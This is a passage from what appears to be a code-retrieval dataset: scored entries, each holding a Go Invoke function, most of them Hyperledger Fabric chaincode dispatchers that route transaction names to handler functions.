else if function == \"write\" {\n\t\treturn t.write(stub, args)\n\n\t} else if function == \"User_register\" {\n\t\treturn t.User_register(stub, args)\n\n\t} \n\n\tfmt.Println(\"invoke did not find func: \" + function)\n\n\treturn nil, errors.New(\"Received unknown function invocation: \" + function)\n}", "title": "" }, { "docid": "e96b28f42ce8301424bad85f11678dc9", "score": "0.6180355", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"sortToBox\" { //create a new box\n\t\treturn t.sortToBox(stub, args)\n\t} else if function == \"getBox\" { //change owner of a specific box\n\t\treturn t.getBox(stub, args)\n\t} else if function == \"preCoolBox\" { //transfer all boxs of a certain color\n\t\treturn t.preCoolBox(stub, args)\n\t} else if function == \"LoadForRefigeratedTransport\" { //transfer all boxs of a certain color\n\t\treturn t.LoadForRefigeratedTransport(stub, args)\n\t} \n\n\tfmt.Println(\"invoke did not find func: \" + function) //error\n\treturn shim.Error(\"Received unknown function invocation\")\n}", "title": "" }, { "docid": "6789e95932334fa458d92ff07cca0876", "score": "0.6179875", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\tfmt.Println(\"invoke is running \" + function)\n\t// Handle different functions\n\tif function == \"init\" {\n\t\treturn t.Init(stub, \"init\", args)\n\t}else if function == \"updateFunds\" {\n\t\treturn t.update(stub, \"init\", args)\n\t}else if function == \"crtjournal\" {\n\t\treturn t.crtjournal(stub, \"init\", args)\n\t}else if function == \"setnewbalance\" {\n\t\treturn t.setnewbalance(stub, \"init\", args)\n\t}\n\n\tfmt.Println(\"invoke did not find func: \" + function)\n\n\n\treturn nil, errors.New(\"Received unknown function invocation: \" + function)\n}", "title": "" }, { "docid": "d04536cf842ff5d44cec11a4865ee3b7", "score": "0.6170574", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\tfmt.Println(\"invoke is running \" + function)\n\n\tif function == \"transaction\" {\n\t\treturn t.Transaction(stub, args)\n\t} else if function == \"create_contract\" {\n\t\treturn t.CreateContract(stub, args)\n\t}\n\n\treturn nil, nil\n}", "title": "" }, { "docid": "c15c3d821b80c523393408597af408ee", "score": "0.6163714", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"createProduct\" { //create a new marble\n\t\treturn t.createProduct(stub, args)\n\t} else if function == \"transferProduct\" { //change owner of a specific marble\n\t\treturn t.transferProduct(stub, args)\n\t} else if function == \"readProduct\" { //read a marble\n\t\treturn t.readProduct(stub, args)\n\t} else if function == \"getHistoryForProduct\" { //get history of values for a marble\n\t\treturn t.getHistoryForProduct(stub, args)\n\t} else if function == \"requestProduct\" { //get history of values for a marble\n\t\treturn t.requestProduct(stub, args)\n\t} else if function == \"getproductByRange\" { //get history of values for a marble\n\t\treturn t.getproductByRange(stub, args)\n\t} else if function == \"queryonCompositeKey\" {\n\t\treturn t.queryonCompositeKey(stub, args)\n\t} else if function == \"deleteRequest\" {\n\t\treturn t.deleteRequest(stub, args)\n\n\t}\n\tfmt.Println(\"invoke did not find func: \" + function) //error\n\treturn shim.Error(\"Received unknown function invocation\")\n}", "title": "" }, { "docid": "ebab9298796439cd5af42309952e2ed9", "score": "0.61567533", "text": "func (t *SimpleChaincode) Invoke(stub *shim.ChaincodeStub, function string, args []string) ([]byte, error) {\n\tfmt.Println(\"invoke is running \" + function)\n\n\t\n\tif function == \"write\" {\t\t\t\t\t\t\t\t\t\t\t //writes a value to the chaincode state\n\t\treturn t.Write(stub, args)\n\t} else if function == \"add_employee\"{\t\t\t\t\t\t\t\t\t//add new employee\n return t.add_employee(stub, args)\n } else if function == \"update_employee\" {\t\t\t\t\t\t\t\t//update attributes of existing employee\n\t\treturn t.update_employee(stub, args)\n\t} else if function == \"create_project\"{\t\t\t\t\t\t\t\t\t//create new project\n\t\treturn t.create_project(stub, args)\n\t} else if function == \"add_project_member\"{\t\t\t\t\t\t\t\t//add new member to the project\n\t\treturn t.add_project_member(stub, args)\n\t} else if function == \"delete_project_member\"{\t\t\t\t\t\t\t//delete member from a project\n\t\treturn t.delete_project_member(stub, args)\n\t}\n\tfmt.Println(\"invoke did not find func: \" + function)\t\t\t\t\t//error\n\n\treturn nil, errors.New(\"Received unknown function invocation\")\n}", "title": "" }, { "docid": "a6f03e908740e97ed77c7b15d471655a", "score": "0.6154418", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\r\n\tfmt.Println(\"invoke is running \" + function)\r\n\r\n\t// Handle different functions\r\n\tif function == \"init\" {\r\n\t\treturn t.Init(stub, \"init\", args)\r\n\t} else if function == \"write\" {\r\n\t\treturn t.write(stub, args)\r\n\t} else if function == \"register_product\" {\r\n\t\treturn t.register_product(stub, args)\r\n\t} else if function == \"add_shipment\" {\r\n\t\treturn t.add_shipment(stub, args)\r\n\t}\r\n\telse if function == \"add_complaint\" {\r\n\t\treturn t.add_complaint(stub, args)\r\n\t}\r\n\r\n\tfmt.Println(\"invoke did not find func: \" + function)\r\n\r\n\treturn nil, errors.New(\"Received unknown function invocation: \" + function)\r\n}", "title": "" }, { "docid": "97cc545cd69e3cfd20691d8f71ed756d", "score": "0.6149491", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\r\n\tfmt.Println(\"invoke is running \" + function)\r\n\r\n\t// Handle different functions\r\n\tif function == \"create_user\"{\t\t\t\t\t\t\t\t\t\t//create a new User\r\n\t\treturn t.create_user(stub, args)\r\n\t}\r\n\tfmt.Println(\"invoke did not find func: \" + function)\t\t\t\t\t//error\r\n\r\n\treturn nil, errors.New(\"Received unknown function invocation\")\r\n}", "title": "" }, { "docid": "a34d06f5e292336eccc41fc4af8b844a", "score": "0.6141714", "text": "func (t *SimpleChaincode) Invoke(stub *shim.ChaincodeStub, function string, args []string) ([]byte, error) {\n\tif function == \"create_product\" { return t.create_product(stub, args)\n\t} else {return nil, nil\n\n\t\t//if function == \"update_make\" \t { return t.update_make(stub, args)\n\t\t//}\n\n\t}\n}", "title": "" }, { "docid": "e1c8501190678473c0dda55f335b1608", "score": "0.6130167", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"initWork\" { //create a new work\n\t\treturn t.initWork(stub, args)\n\t} else if function == \"transferWork\" { //change workexperience of a specific work\n\t\treturn t.transferWork(stub, args)\n\t} else if function == \"transferWorksBasedOnWorkstartdate\" { //transfer all works of a certain workstartdate\n\t\treturn t.transferWorksBasedOnWorkstartdate(stub, args)\n\t} else if function == \"delete\" { //delete a work\n\t\treturn t.delete(stub, args)\n\t} else if function == \"readWork\" { //read a work\n\t\treturn t.readWork(stub, args)\n\t} else if function == \"queryWorksByWorkexperience\" { //find works for workexperience X using rich query\n\t\treturn t.queryWorksByWorkexperience(stub, args)\n\t} else if function == \"queryWorks\" { //find works based on an ad hoc rich query\n\t\treturn t.queryWorks(stub, args)\n\t} else if function == \"getHistoryForWork\" { //get history of values for a work\n\t\treturn t.getHistoryForWork(stub, args)\n\t} else if function == \"getWorksByRange\" { //get works based on range query\n\t\treturn t.getWorksByRange(stub, args)\n\t}\n\n\tfmt.Println(\"invoke did not find func: \" + function) //error\n\treturn shim.Error(\"Received unknown function invocation\")\n}", "title": "" }, { "docid": "15223f5e0b483b36498cb0bfa3ed21af", "score": "0.61267084", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"AddUser\" {\n\t\treturn t.AddUser(stub, args)\n\t} else if function == \"AddAssert\" {\n\t\treturn t.AddAssert(stub, args)\n\t} else if function == \"QueryAssert\" {\n\t\treturn t.QueryAssert(stub, args)\n\t} else if function == \"DeleteAssert\" {\n\t\treturn t.DeleteAssert(stub, args)\n\t} else if function == \"UpdateAssert\" {\n\t\treturn t.UpdateAssert(stub, args)\n\t} else if function == \"queryAssertByOwner\" {\n\t\treturn t.queryAssertByOwner(stub, args)\n\t} else if function == \"getHistoryForAssert\" {\n\t\treturn t.getHistoryForAssert(stub, args)\n\t}\n\tfmt.Println(\"invoke did not find func: \" + function) //error\n\treturn shim.Error(\"Received unknown function invocation\")\n}", "title": "" }, { "docid": "e9beb0bb624eb72ae4e9861fc45ea952", "score": "0.6125777", "text": "func (this *HDLS) Invoke(function string, args []string) ([]byte, error) {\n\tthis.loadPreference()\n\n\tthis.logger.Debugf(\"worker Invoke: %s, %d\", function, len(args))\n\tret, err := this.RunImpl(function, args)\n\tif err != nil {\n\t\tthis.logger.Debugf(\"worker Invoke error: %s\", err.Error())\n\t}\n\n\t// Error processing\n\t//\targsWithComma := strings.Join(args, \",\")\n\t//\tstatus := \"OK\"\n\t//\tmessage := \"\"\n\t//\tpayload := fmt.Sprintf(\"%s(%s)\", function, argsWithComma)\n\t//\n\t//\tif err != nil {\n\t//\t\telements := strings.Split(fmt.Sprintf(\"%v\", err), \"|\")\n\t//\t\tstatus = elements[0]\n\t//\t\tif len(elements) >= 2 {\n\t//\t\t\tmessage = elements[1]\n\t//\t\t}\n\t//\t}\n\t//\n\t//\tthis.putInvokingStatus(&InvokingStatus{this.db.GetTxID(), status, message, payload})\n\t//\n\t//\treturn ret, nil\n\treturn ret, err\n}", "title": "" }, { "docid": "c6401910d8b8dfbfe3224582d8720ab6", "score": "0.6125315", "text": "func (t *AdChainChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, _ := stub.GetFunctionAndParameters()\n\tfmt.Println(\" \")\n\tfmt.Println(\"starting invoke, for - \" + function)\n\n\t// Handle different functions\n\tif function == \"Query\" {\n\t\treturn t.Query(stub)\n\t} else if function == \"OrgRegister\" {\n\t\treturn t.OrgRegister(stub)\n\t} else if function == \"DataRegister\" {\n\t\treturn t.DataRegister(stub)\n\t} else if function == \"OnBoarding\" {\n\t\treturn t.OnBoarding(stub)\n\t} else if function == \"WhoAmI\" {\n\t\treturn t.WhoAmI(stub)\n\t} else if function == \"PanelRequest\" {\n\t\treturn t.PanelRequest(stub)\n\t} else if function == \"PanelUpdate\" {\n\t\treturn t.PanelUpdate(stub)\n\t}\n\n\treturn shim.Error(\"Received unknown function invocation\")\n}", "title": "" }, { "docid": "5c4062797155566ce6c3ebc2740b2cb8", "score": "0.6116568", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"init\" {\n\t\treturn t.Init(stub, \"init\", args)\n\t} else if function == \"write\" {\n\t\treturn t.write(stub, args)\n\t} else if function == \"account\" {\n\t\treturn t.account(stub, args)\n\t} else if function == \"assign\" {\n\t\treturn t.assign(stub, args)\n\t}\n\tfmt.Println(\"invoke did not find func: \" + function)\n\n\treturn nil, errors.New(\"Received unknown function invocation: \" + function)\n}", "title": "" }, { "docid": "fdca305549c29bae9dadcb164303e093", "score": "0.61113435", "text": "func (h Helium) Invoke(fn interface{}, args ...dig.InvokeOption) error {\n\treturn h.di.Invoke(fn, args...)\n}", "title": "" }, { "docid": "fdca305549c29bae9dadcb164303e093", "score": "0.61113435", "text": "func (h Helium) Invoke(fn interface{}, args ...dig.InvokeOption) error {\n\treturn h.di.Invoke(fn, args...)\n}", "title": "" }, { "docid": "96fbf0474f18820bf487e450921b8225", "score": "0.6109728", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"init\" { //initialize the chaincode state, used as reset\n\t\treturn t.Init(stub, \"init\", args)\n\t} else if function == \"PutEvent\" {\n\t\treturn t.PutEvent(stub, args)\n\t} else if function == \"write\" {\t\t\t\t\t\t\t\t\t\t\t//writes a value to the chaincode state\n\t\treturn t.Write(stub, args)\n\t}else if function == \"init_transaction\" {\t\t\t\t\t\t\t\t\t//create a new trade order\n\t\treturn t.init_transaction(stub, args)\n\t}\n\tfmt.Println(\"invoke did not find func: \" + function) //error\n\n\treturn nil, errors.New(\"Received unknown function invocation: \" + function)\n}", "title": "" }, { "docid": "5a1f1126e047c23119097598c68e32b5", "score": "0.61091816", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"init\" {\t\t\t\t\t\t\t\t\t\t\t\t\t//initialize the chaincode state, used as reset\n\t\treturn t.Init(stub, \"init\", args)\n\t} else if function == \"delete\" {\t\t\t\t\t\t\t\t\t\t//deletes an entity from its state\n\t\treturn t.Delete(stub, args)\n\t} else if function == \"write\" {\t\t\t\t\t\t\t\t\t\t\t//writes a value to the chaincode state\n\t\treturn t.Write(stub, args)\n\t} else if function == \"init_marble\" {\t\t\t\t\t\t\t\t\t//create a new marble\n\t\treturn t.init_marble(stub, args)\n\t} else if function == \"init_product\" {\t\t\t\t\t\t\t\t\t//create a new product\n\t\treturn t.init_product(stub, args)\n\t} else if function == \"set_user\" {\t\t\t\t\t\t\t\t\t\t//change owner of a marble\n\t\treturn t.set_user(stub, args)\n\t} else if function == \"save_txn\" {\t\t\t\t\t\t\t\t\t\t//change owner of a marble\n\t\treturn t.save_txn(stub, args)\n\t}\n\n\tfmt.Println(\"invoke did not find func: \" + function)\t\t\t\t\t//error\n\n\treturn nil, errors.New(\"Received unknown function invocation\")\n}", "title": "" }, { "docid": "0d1923fdee650cb5541fe84a628e7a88", "score": "0.6108595", "text": "func (t *MTA) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfmt.Println(\" \")\n\tfmt.Println(\"starting invoke, for - \" + function)\n\n\t// Handle different functions\n\tif function == \"init\" { //initialize the chaincode state, used as reset\n\t\treturn t.Init(stub)\n\t} else if function == \"read\" { //generic read ledger\n\t\treturn read(stub, args)\n\t} else if function == \"generic_query\" { //generic_query read from ledger using couchdb\n\t\treturn t.generic_query(stub, args)\n\t} else if function == \"generic_query_pagination\" { //generic_query_pagination read from ledger using couchdb\n\t\treturn t.generic_query_pagination(stub, args)\n\t} else if function == \"getHistory\" { //read history of a key (audit)\n\t\treturn getHistory(stub, args)\n\t} else if function == \"invoke_transaction_insert_update\" { //generic insert on ledger\n\t\treturn invoke_transaction_insert_update(stub, args)\n\t} else if function == \"add_theatre\" { //add theatre details on ledger\n\t\treturn add_theatre(stub, args)\n\t} else if function == \"add_movies\" { //add movie details on ledger\n\t\treturn add_movies(stub, args)\n\t} else if function == \"add_shows\" { //add movie details on ledger\n\t\treturn add_shows(stub, args)\n\t} else if function == \"book_tickets\" { //book movie tickets\n\t\treturn book_tickets(stub, args)\n\t} else if function == \"exchange_water\" { //exchange water with soda\n\t\treturn exchange_water(stub, args)\n\t}\n\n\t// error out\n\tfmt.Println(\"Received unknown invoke function name - \" + function)\n\treturn shim.Error(\"Received unknown invoke function name - '\" + function + \"'\")\n}", "title": "" }, { "docid": "29ac5c59ef9ca74c2dd65069ea59745e", "score": "0.6096653", "text": "func (t *KVExecutor) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfmt.Println(\"invoke is running \" + function)\n\n\tswitch function {\n\tcase \"readWriteKVs\":\n\t\treturn t.readWriteKVs(stub, args)\n\tdefault:\n\t\t// error\n\t\tfmt.Println(\"invoke did not find func: \" + function)\n\t\treturn shim.Error(\"Received unknown function invocation\")\n\t}\n}", "title": "" }, { "docid": "e08db5ca9f0b98bdddcf09d45a262b1b", "score": "0.60740197", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"init\" {\n\t\treturn t.Init(stub, \"init\", args)\n\t} else if function == \"write\" {\n\t\treturn t.write(stub, args)\n\t} else if function == \"setCCID\" {\n\t\treturn t.setCCID(stub, args)\n\t} else if function == \"setprice\" {\n\t\treturn t.setprice(stub, args)\n\t} else if function == \"process\" {\n\t\treturn t.process(stub, args)\n\t}\n\tfmt.Println(\"invoke did not find func: \" + function)\n\n\treturn nil, errors.New(\"Received unknown function invocation: \" + function)\n}", "title": "" }, { "docid": "b99cecda5e2aa7312fd9ef71a8f34a59", "score": "0.6052593", "text": "func (ep EntrypointImpl)Invoke(ctx context.Context) (interface{}, error) {\n\t// set up the middleware\n\tod := fw.GetOperationDescriptor(ctx)\n\tchain := fw.MakeChain()\n\tchain.Add(ep.PreMiddlewares...)\n\tif od.OpMiddleware != nil {\n\t\tchain.Add(od.OpMiddleware...)\n\t}\n\tchain.Add(ep.PostMiddlewares...)\n\treturn startChain(ctx, chain)\n}", "title": "" }, { "docid": "64048d34ca204bf25435a82a7d32c2e1", "score": "0.60386544", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error){\n\n\tif len(args) != 4 {\n\t\treturn nil, errors.New(\"INVOKE: Incorrect number of parameters passed. Expecting 4.\")\n\t}\n\n\tage, err := strconv.Atoi(args[1])\n\tif err != nil{\n\t\treturn nil, errors.New(\"INVOKE: String to int conversion failed\")\n\t}\n\t\n\tif function == \"create_patient\"{\n\t\treturn t.create_patient(stub, args[0], age, args[2], args[3])\n\t} \n\t\n\treturn nil, errors.New(\"Function \" + function + \"doesn't exist\")\n}", "title": "" }, { "docid": "97b17e035441e230686bacc743d012cc", "score": "0.6028471", "text": "func (t *ReferralChaincode) Invoke(stub *shim.ChaincodeStub, function string, args []string) ([]byte, error) {\r\n\tfmt.Println(\"invoke is running \" + function)\r\n\r\n\t// Handle different functions\r\n\tif function == \"init\" {\r\n\t\treturn t.Init(stub, \"init\", args)\r\n\t} else if function == \"createReferral\" {\r\n\t\treturn t.createReferral(stub, args)\r\n\t} else if function == \"updateReferralStatus\" {\r\n\t\treturn t.updateReferralStatus(stub, args)\r\n\t}\r\n\tfmt.Println(\"invoke did not find func: \" + function)\r\n\r\n\treturn nil, errors.New(\"Received unknown function invocation\")\r\n}", "title": "" }, { "docid": "ccdaa5fc3ab7c7f72f55523206a34dc3", "score": "0.60248494", "text": "func (t *SimpleChaincode2) Invoke(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"init\" {\n\t\treturn t.Init(stub, \"init\", args)\n\t} else if function == \"write\" {\n\t\treturn t.write(stub, args)\n\t} else if function == \"addtransaction\" {\n\t\treturn t.addTransaction(stub, args)\n\t} else if function == \"addproduct\" {\n\t\treturn t.addProduct(stub, args)\n\t}\n\tfmt.Println(\"invoke did not find func: \" + function)\n\n\treturn nil, errors.New(\"Received unknown function invocation: \" + function)\n}", "title": "" }, { "docid": "599de405856cf6ecaa83daf7af2fbf4f", "score": "0.60077125", "text": "func (c *Chaincode01) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\n\tfmt.Println(\"Inside invoke method\")\n\tfmt.Println(\"Received function name - \" + function)\n\tfmt.Print(\"Received arguments - \")\n\tfmt.Println(args)\n\n\tif function == \"get\" {\n\t\treturn c.get(stub, args)\n\t} else if function == \"set\" {\n\t\treturn c.set(stub, args)\n\t} else if function == \"history\" {\n\t\treturn c.history(stub, args)\n\t} else if function == \"delete\" {\n\t\treturn c.delete(stub, args)\n\t} else {\n\t\tfmt.Println(\"Invalid function \" + function)\n\t\treturn shim.Error(\"Invalid function \" + function)\n\t}\n}", "title": "" }, { "docid": "bd47932684cf809810539fc10aaeac02", "score": "0.60026914", "text": "func (v Value) Invoke(args ...interface{}) Value {\n\tfor i, a := range args {\n\t\targs[i] = valueOf(a)\n\t}\n\treturn Value{v.Ref.Invoke(args...)}\n}", "title": "" }, { "docid": "6a39ab2fa8bdc085664231d1f6b7eb56", "score": "0.5998989", "text": "func (cc *Chaincode) Invoke(stub shim.ChaincodeStubInterface) sc.Response {\n\tfcn, params := stub.GetFunctionAndParameters()\n\tfmt.Println(\"Invoke()\", fcn, params)\n\n\tswitch fcn {\n\tcase \"enroll\":\n\t\treturn Enroll(stub, params)\n\tcase \"list\":\n\t\treturn List(stub)\n\tcase \"create\":\n\t\treturn Create(stub, params)\n\tcase \"sell\":\n\t\treturn Sell(stub, params)\n\tcase \"buy\":\n\t\treturn Buy(stub, params)\n\tdefault:\n\t\treturn shim.Error(fmt.Sprintf(\"Unexpected method: %s\", fcn))\n\t}\n}", "title": "" }, { "docid": "32cfe300c00a6ad0415c04c84160c9f4", "score": "0.5995228", "text": "func (s *CostArgChaincode) Invoke(APIstub shim.ChaincodeStubInterface) sc.Response {\n\n\t// Retrieve the requested Smart Contract function and arguments\n\tfunction, args := APIstub.GetFunctionAndParameters()\n\t// Route to the appropriate handler function to interact with the ledger appropriately\n\tif function == \"initLedger\" {\n\t\treturn s.InitLedger(APIstub)\n\t} else if function == \"newArg\" {\n\t\treturn s.NewArg(APIstub, args)\n\t}\n\n\treturn shim.Error(\"Invalid Smart Contract function name.\")\n}", "title": "" }, { "docid": "14aa792262de39f82be7f24fa0ad73c0", "score": "0.5993464", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"createHealthFinance\" { //create a new healthFinance\n\t\treturn t.createHealthFinance(stub, args)\n\t} else if function == \"updateRemediationIDFinancialAmount\" { //change financialAmount of a specific healthFinance\n\t\treturn t.updateRemediationIDFinancialAmount(stub, args)\n\t} else if function == \"readHealthFinance\" { //read a healthFinance\n\t\treturn t.readHealthFinance(stub, args)\n\t} else if function == \"getHistoryForHealthFinance\" { //get history of values for a healthFinance\n\t\treturn t.getHistoryForHealthFinance(stub, args)\n\t}\n\n\tfmt.Println(\"invoke did not find func: \" + function) //error\n\treturn shim.Error(\"Received unknown function invocation\" + function)\n}", "title": "" }, { "docid": "2bf7985c6d082727bdbc8281c89b545a", "score": "0.599253", "text": "func (t *SimpleChaincode) Invoke(stub *shim.ChaincodeStub, function string, args []string) ([]byte, error) {\r\n\r\n\t// Handle different functions\r\n\tif function == \"add_number\" {\r\n\t\t\r\n\t\treturn t.add_number(stub, args) \r\n\t}\r\n\t\r\n\treturn nil, errors.New(\"Function of that name not found\")\r\n}", "title": "" }, { "docid": "3a569ae5c24854750bb27e2f25e8c235", "score": "0.597836", "text": "func (t *HomelendChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\r\n\tfunction, args := stub.GetFunctionAndParameters()\r\n\r\n\tidentity, err := cid.GetID(stub)\r\n\r\n\tif err != nil {\r\n\t\tstr := fmt.Sprintf(\"Identity error %+v\", args)\r\n\t\tfmt.Println(str)\r\n\t\treturn shim.Error(str)\r\n\t}\r\n\r\n\tmspid, err := cid.GetMSPID(stub)\r\n\r\n\tif err != nil {\r\n\t\tstr := fmt.Sprintf(\"MSPID error %+v\", args)\r\n\t\tfmt.Println(str)\r\n\t\treturn shim.Error(str)\r\n\t}\r\n\r\n\tfmt.Println(fmt.Printf(\"Access log %s %s\", identity, mspid))\r\n\r\n\tif function == \"putOffers\" {\r\n\t\treturn t.putOffer(stub, args)\r\n\t}\r\n\r\n\tfmt.Println(\"invoke did not find func: \" + function) //error\r\n\treturn shim.Error(\"Received unknown function invocation\")\r\n}", "title": "" }, { "docid": "09a67b24062ad01cf5f0ee56a1a6acea", "score": "0.5965341", "text": "func beginInvoke(url string, sessionID string) {\n\tlogManager.LogInfo(\"session-id :\" + sessionID + \"| About to start \" + url + \" request\")\n}", "title": "" }, { "docid": "c37c39c7b253832c8a6db18dd9dfe1ed", "score": "0.5960955", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"initVehicle\" { //create a new Vehicle\n\t\treturn t.initVehicle(stub, args)\n\t} else if function == \"readVehicle\" { //read a Vehicle\n\t\treturn t.readVehicle(stub, args)\n\t} else if function == \"transferVehicle\" { //change owner of a specific Vehicle\n\t\treturn t.transferVehicle(stub, args)\n\t} else if function == \"transferVehiclesBasedOnColor\" { //transfer all Vehicles of a certain color\n\t\treturn t.transferVehiclesBasedOnColor(stub, args)\n\t} else if function == \"delete\" { //delete a Vehicle\n\t\treturn t.delete(stub, args)\n\t} else if function == \"queryVehiclesByOwner\" { //find Vehicles for owner X using rich query\n\t\treturn t.queryVehiclesByOwner(stub, args)\n\t} else if function == \"queryVehicles\" { //find Vehicles based on an ad hoc rich query\n\t\treturn t.queryVehicles(stub, args)\n\t} else if function == \"getHistoryForVehicle\" { //get history of values for a Vehicle\n\t\treturn t.getHistoryForVehicle(stub, args)\n\t} else if function == \"getVehiclesByRange\" { //get Vehicles based on range query\n\t\treturn t.getVehiclesByRange(stub, args)\n\t}\n\n\tfmt.Println(\"invoke did not find func: \" + function) //error\n\treturn shim.Error(\"Received unknown function invocation\")\n}", "title": "" }, { "docid": "dbf4173b58b0d6f31055c3b6e8c3d033", "score": "0.5941854", "text": "func (t *TestChaincode) Invoke(ccAPI shim.ChaincodeStubInterface) (response peer.Response) {\n\tlogger.Info(\"########### \" + name + \" Invoke ###########\")\n\tdefer Deferred(DeferHandlerPeerResponse, &response)\n\tfcn, _ := ccAPI.GetFunctionAndParameters()\n\tswitch fcn {\n\tcase \"panic\":\n\t\tPanicString(\"use panic\")\n\t}\n\treturn shim.Success([]byte(nil))\n}", "title": "" }, { "docid": "fb6b421f972050419a67ab132c299d21", "score": "0.5937592", "text": "func (cc *Chaincode) Invoke(stub shim.ChaincodeStubInterface) sc.Response {\n\tfcn, params := stub.GetFunctionAndParameters()\n\tfmt.Println(\"Invoke()\", fcn, params)\n\n\tif fcn == \"newInvestigationFromFIR\" {\n\t\treturn cc.newInvestigationFromFIR(stub, params)\n\t} else if fcn == \"readInvestigation\" {\n\t\treturn cc.readInvestigation(stub, params)\n\t} else if fcn == \"updateInvestigation\" {\n\t\treturn cc.updateInvestigation(stub, params)\n\t} else if fcn == \"addEvidence\" {\n\t\treturn cc.addEvidence(stub, params)\n\t} else if fcn == \"addReport\" {\n\t\treturn cc.addReport(stub, params)\n\t} else if fcn == \"addAccusedID\" {\n\t\treturn cc.addAccusedID(stub, params)\n\t} else if fcn == \"addArrest\" {\n\t\treturn cc.addArrest(stub, params)\n\t} else if fcn == \"setComplete\" {\n\t\treturn cc.setComplete(stub, params)\n\t} else {\n\t\tfmt.Println(\"Invoke() did not find func: \" + fcn)\n\t\treturn shim.Error(\"Received unknown function invocation!\")\n\t}\n}", "title": "" }, { "docid": "de9885f89011352b69394c55c6dcd0a9", "score": "0.59313583", "text": "func (c *CommandRPC) Invoke(args ...string) string {\n\tvar resp string\n\terr := c.client.Call(\"Plugin.Invoke\", args, &resp)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\t// You usually want your interfaces to return errors. If they don't,\n\t\t// there isn't much other choice here.\n\t\tpanic(err)\n\t}\n\n\treturn resp\n}", "title": "" }, { "docid": "37179df8ec9f9f4a543e75b215dcff75", "score": "0.59246886", "text": "func (t *AutoTraceChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"getCustomerRecord\" { //get history of values for a record\n\t\treturn t.getCustomerRecord(stub, args)\n\t} else if function == \"initCustomer\" { //create a new vehicle\n\t\treturn t.initCustomer(stub, args)\n\t} \n\tfmt.Println(\"invoke did not find func: \" + function) //error\n\treturn shim.Error(\"Received unknown function invocation\")\n}", "title": "" }, { "docid": "055c0540fe8effd96e73d25801889b4a", "score": "0.5921678", "text": "func Invoke(params Params) {\n\tparams.Lifecycle.Append(fx.Hook{\n\t\tOnStart: StartServer(params.Server, params.Logger),\n\t\tOnStop: StopServer(params.Server, params.Logger),\n\t})\n}", "title": "" }, { "docid": "6739e32d3bc09f48312664ff86de9059", "score": "0.5919951", "text": "func (t *MetaDataChainCode) Invoke(stub shim.ChaincodeStubInterface) peer.Response {\n\tfn, args := stub.GetFunctionAndParameters()\n\tfmt.Println(\"invoke is running...\")\n\n\tif fn == \"dataRequest\" {\n\t\treturn t.dataRequest(stub, args)\n\t} else if fn == \"queryRequest\" {\n\t\treturn t.queryRequest(stub, args)\n\t}\n\n\tfmt.Println(\"invoke did not find func: \" + fn) //error\n\treturn shim.Error(\"Received unknown function invocation\")\n}", "title": "" }, { "docid": "7c9cc25e028fc80c88c83297766f8379", "score": "0.59187555", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\t// Extract the function and args from the transaction proposal\n\tfn, args := stub.GetFunctionAndParameters()\n\tif fn == \"addProducer\" {\n\t\treturn t.addProducer(stub, args)\n\t} else if fn == \"queryProducer\" {\n\t\treturn t.queryProducer(stub, args)\n\t} else 